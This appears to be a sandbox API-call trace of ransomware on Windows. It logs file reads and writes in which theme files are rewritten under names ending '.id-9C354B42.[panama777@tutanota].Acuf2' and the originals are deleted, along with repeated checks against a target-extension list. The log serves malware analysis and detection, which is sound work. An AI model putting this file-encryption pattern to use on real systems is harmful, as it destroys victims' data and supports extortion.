	[0048.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.947] GetLastError () returned 0x0
	[0048.947] ReadFile (in: hFile=0x170, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x785, lpOverlapped=0x0) returned 1
	[0048.956] WriteFile (in: hFile=0x1c0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x790, lpOverlapped=0x0) returned 1
	[0048.957] ReadFile (in: hFile=0x170, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.957] WriteFile (in: hFile=0x1c0, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0048.957] SetEndOfFile (hFile=0x1c0) returned 1
	[0048.957] CloseHandle (hObject=0x1c0) returned 1
	[0048.957] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.957] SetEndOfFile (hFile=0x170) returned 1
	[0048.958] CloseHandle (hObject=0x170) returned 1
	[0048.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.958] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1
	[0048.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.959] lstrlenW (lpString=".doc") returned 4
	[0048.959] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.959] lstrlenW (lpString=".docx") returned 5
	[0048.959] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.959] lstrlenW (lpString=".pdf") returned 4
	[0048.959] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.959] lstrlenW (lpString=".xls") returned 4
	[0048.959] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.959] lstrlenW (lpString=".xlsx") returned 5
	[0048.959] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.959] lstrlenW (lpString=".ppt") returned 4
	[0048.959] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.959] lstrlenW (lpString=".zip") returned 4
	[0048.959] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.959] lstrlenW (lpString=".rar") returned 4
	[0048.959] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.959] lstrlenW (lpString=".bz2") returned 4
	[0048.959] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.959] lstrlenW (lpString=".7z") returned 3
	[0048.959] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.959] lstrlenW (lpString=".dbf") returned 4
	[0048.959] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.960] lstrlenW (lpString=".1cd") returned 4
	[0048.960] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.960] lstrlenW (lpString=".jpg") returned 4
	[0048.960] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.960] lstrlenW (lpString=".doc") returned 4
	[0048.960] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.960] lstrlenW (lpString=".docx") returned 5
	[0048.960] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.960] lstrlenW (lpString=".pdf") returned 4
	[0048.960] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.960] lstrlenW (lpString=".xls") returned 4
	[0048.960] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.960] lstrlenW (lpString=".xlsx") returned 5
	[0048.960] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.960] lstrlenW (lpString=".ppt") returned 4
	[0048.960] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.960] lstrlenW (lpString=".zip") returned 4
	[0048.960] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.960] lstrlenW (lpString=".rar") returned 4
	[0048.960] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.960] lstrlenW (lpString=".bz2") returned 4
	[0048.960] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.960] lstrlenW (lpString=".7z") returned 3
	[0048.960] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.960] lstrlenW (lpString=".dbf") returned 4
	[0048.960] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.961] lstrlenW (lpString=".1cd") returned 4
	[0048.961] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76
	[0048.961] lstrlenW (lpString=".jpg") returned 4
	[0048.961] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.961] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0048.961] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0048.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.962] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=27407) returned 1
	[0048.962] CloseHandle (hObject=0x1c0) returned 1
	[0048.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20
	[0048.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.963] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.963] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0048.963] GetLastError () returned 0x0
	[0048.963] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x6b0f, lpOverlapped=0x0) returned 1
	[0048.966] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x6b10, lpOverlapped=0x0) returned 1
	[0048.967] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.967] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0048.967] SetEndOfFile (hFile=0x1a4) returned 1
	[0048.967] CloseHandle (hObject=0x1a4) returned 1
	[0048.968] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.968] SetEndOfFile (hFile=0x1c0) returned 1
	[0048.968] CloseHandle (hObject=0x1c0) returned 1
	[0048.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.969] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1
	[0048.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.969] lstrlenW (lpString=".doc") returned 4
	[0048.969] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.969] lstrlenW (lpString=".docx") returned 5
	[0048.969] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.969] lstrlenW (lpString=".pdf") returned 4
	[0048.969] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.969] lstrlenW (lpString=".xls") returned 4
	[0048.969] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.969] lstrlenW (lpString=".xlsx") returned 5
	[0048.969] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.969] lstrlenW (lpString=".ppt") returned 4
	[0048.969] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.969] lstrlenW (lpString=".zip") returned 4
	[0048.969] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.969] lstrlenW (lpString=".rar") returned 4
	[0048.969] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.969] lstrlenW (lpString=".bz2") returned 4
	[0048.970] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.970] lstrlenW (lpString=".7z") returned 3
	[0048.970] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.970] lstrlenW (lpString=".dbf") returned 4
	[0048.970] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.970] lstrlenW (lpString=".1cd") returned 4
	[0048.970] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.970] lstrlenW (lpString=".jpg") returned 4
	[0048.970] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.970] lstrlenW (lpString=".doc") returned 4
	[0048.970] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0048.970] lstrlenW (lpString=".docx") returned 5
	[0048.970] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0048.970] lstrlenW (lpString=".pdf") returned 4
	[0048.970] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0048.970] lstrlenW (lpString=".xls") returned 4
	[0048.970] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0048.970] lstrlenW (lpString=".xlsx") returned 5
	[0048.970] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0048.970] lstrlenW (lpString=".ppt") returned 4
	[0048.970] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0048.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.970] lstrlenW (lpString=".zip") returned 4
	[0048.970] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0048.970] lstrlenW (lpString=".rar") returned 4
	[0048.971] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0048.971] lstrlenW (lpString=".bz2") returned 4
	[0048.971] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0048.971] lstrlenW (lpString=".7z") returned 3
	[0048.971] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0048.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.971] lstrlenW (lpString=".dbf") returned 4
	[0048.971] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0048.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.971] lstrlenW (lpString=".1cd") returned 4
	[0048.971] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0048.971] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0048.971] lstrlenW (lpString=".jpg") returned 4
	[0048.971] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0048.971] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0048.971] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0048.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.971] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3479) returned 1
	[0048.971] CloseHandle (hObject=0x1c0) returned 1
	[0048.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20
	[0048.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0048.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.972] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.972] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4
	[0048.974] GetLastError () returned 0x0
	[0048.974] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0xd97, lpOverlapped=0x0) returned 1
	[0048.975] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xda0, lpOverlapped=0x0) returned 1
	[0048.976] ReadFile (in: hFile=0x1c0, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0048.976] WriteFile (in: hFile=0x1a4, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0048.976] SetEndOfFile (hFile=0x1a4) returned 1
	[0048.976] CloseHandle (hObject=0x1a4) returned 1
	[0048.976] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0048.976] SetEndOfFile (hFile=0x1c0) returned 1
	[0048.977] CloseHandle (hObject=0x1c0) returned 1
	[0048.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0048.977] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1
	[0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.978] lstrlenW (lpString=".doc") returned 4
	[0048.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.978] lstrlenW (lpString=".docx") returned 5
	[0048.978] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.978] lstrlenW (lpString=".pdf") returned 4
	[0048.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.978] lstrlenW (lpString=".xls") returned 4
	[0048.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.978] lstrlenW (lpString=".xlsx") returned 5
	[0048.978] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.978] lstrlenW (lpString=".ppt") returned 4
	[0048.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.978] lstrlenW (lpString=".zip") returned 4
	[0048.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.978] lstrlenW (lpString=".rar") returned 4
	[0048.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.978] lstrlenW (lpString=".bz2") returned 4
	[0048.978] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.978] lstrlenW (lpString=".7z") returned 3
	[0048.978] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.978] lstrlenW (lpString=".dbf") returned 4
	[0048.978] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.978] lstrlenW (lpString=".1cd") returned 4
	[0048.978] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.979] lstrlenW (lpString=".jpg") returned 4
	[0048.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.979] lstrlenW (lpString=".doc") returned 4
	[0048.979] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0048.979] lstrlenW (lpString=".docx") returned 5
	[0048.979] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0048.979] lstrlenW (lpString=".pdf") returned 4
	[0048.979] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0048.979] lstrlenW (lpString=".xls") returned 4
	[0048.979] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0048.979] lstrlenW (lpString=".xlsx") returned 5
	[0048.979] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0048.979] lstrlenW (lpString=".ppt") returned 4
	[0048.979] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.979] lstrlenW (lpString=".zip") returned 4
	[0048.979] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0048.979] lstrlenW (lpString=".rar") returned 4
	[0048.979] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0048.979] lstrlenW (lpString=".bz2") returned 4
	[0048.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0048.979] lstrlenW (lpString=".7z") returned 3
	[0048.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.979] lstrlenW (lpString=".dbf") returned 4
	[0048.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0048.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.980] lstrlenW (lpString=".1cd") returned 4
	[0048.980] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0048.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76
	[0048.980] lstrlenW (lpString=".jpg") returned 4
	[0048.980] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0048.980] lstrcmpiW (lpString1=".PNG", lpString2=".Acuf2") returned 1
	[0048.980] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0048.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0
	[0048.980] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=31837) returned 1
	[0048.980] CloseHandle (hObject=0x1c0) returned 1
	[0048.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20
